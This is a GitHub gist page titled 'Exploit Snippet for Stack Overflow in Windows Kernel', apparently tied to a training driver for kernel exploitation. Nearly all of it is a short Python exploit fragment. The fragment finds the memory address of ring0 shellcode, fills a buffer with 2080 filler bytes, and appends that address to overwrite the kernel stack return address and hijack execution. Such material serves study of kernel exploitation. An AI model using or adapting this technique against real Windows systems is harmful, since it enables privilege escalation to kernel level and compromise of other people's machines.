Created
May 7, 2015 07:53
-
-
Save hacksysteam/4d2c4e85ba8b6e6aafdc to your computer and use it in GitHub Desktop.
Exploit Snippet for Stack Overflow in Windows Kernel
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# shellcode real memory address | |
ring0_shellcode_address = id(ring0_shellcode) + 20 | |
# pattern offset is 2080 | |
k_buffer = "\x41" * 2080 | |
# add the address of ring0 shellcode to the buffer | |
k_buffer += struct.pack("L", ring0_shellcode_address) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment